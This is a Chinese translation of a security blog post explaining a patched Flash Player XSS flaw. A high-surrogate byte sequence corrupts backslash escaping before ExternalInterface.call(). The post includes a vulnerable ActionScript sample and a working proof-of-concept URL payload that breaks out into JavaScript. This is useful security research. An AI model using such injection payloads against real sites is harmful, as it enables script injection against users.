原文链接:http://masatokinugawa.l0.cm/2014/05/flash-highsurrogate-xss.html
Flash对文字的处理方式存在缺陷导致即使开发者在Flash文件中采取正确的防御XSS对策,也可能会出现XSS问题。该问题于今年的4月份已经得到了修正。
http://helpx.adobe.com/security/products/flash-player/apsb14-09.html
由于该问题依然会牵扯到 ExternalInterface.call(),所以如果你对这方面还不太熟悉,可能需要先补习一下这方面的知识。
下面是一个会受到这个漏洞影响的例子:
package { import flash.display.*; import flash.external.*; import flash.net.*; public class surrogate_xss extends Sprite{ public function surrogate_xss() { var q:String=loaderInfo.parameters["q"].split("\\").join("\\\\"); ExternalInterface.call("console.log",q); } } }
在这个例子当中,首先会将参数q中所包含的“\”通过 split(“\\”).join(“\\\\”)进行置换并带入变量中,再将这个变量提交给ExternalInterface.call()的第二个参数。一般来说,这个对策是完全没有问题的。
但如果我们给变量赋予这样的值,就会引起XSS问题:
http://vulnerabledoma.in/surrogate_xss.swf?q=%ED%A0%80\”))}catch(e){alert(1)}//
在这里重点是前段部分的%ED%A0%80。%ED%A0%80是一个高半代理码点,如果我们对 U+D800 进行UTF-8编码就正好可以得到它。在Flash当中由于对这个高位代理码点处理不当,导致紧随在%ED%A0%80后面的字符会被破坏(其实是会和后面的字符结合到一块,最终变成U+FFFD)。这就是这个BUG的最主要部分。
现在我们通过刚才的swf文件,来看一下产生XSS的流程:
// \被替换为\\ ,U+D800\\”))}catch(e){alert(1)}// 进入变量q // 在替换前还不会变成U+FFFD var q:String=loaderInfo.parameters["q"].split("\\").join("\\\\"); // 通过变量q来调用console.log ExternalInterface.call("console.log",q); // 在这个时候,”在Flash当中会被escape成\” //由于\不会被escape所以在之前应该是换成了\\才对,但是……悲剧发生了 try{__flash__toXML(console.log("\\"))}catch(e){alert(1)}//"));}catch (e){"<undefined/>"}
除了这种情况外,作者还对一些其它的代码进行了测试,但是并未发现除了 split().join() 和 ExternalInterface.call()的组合之外会产生相同问题的例子。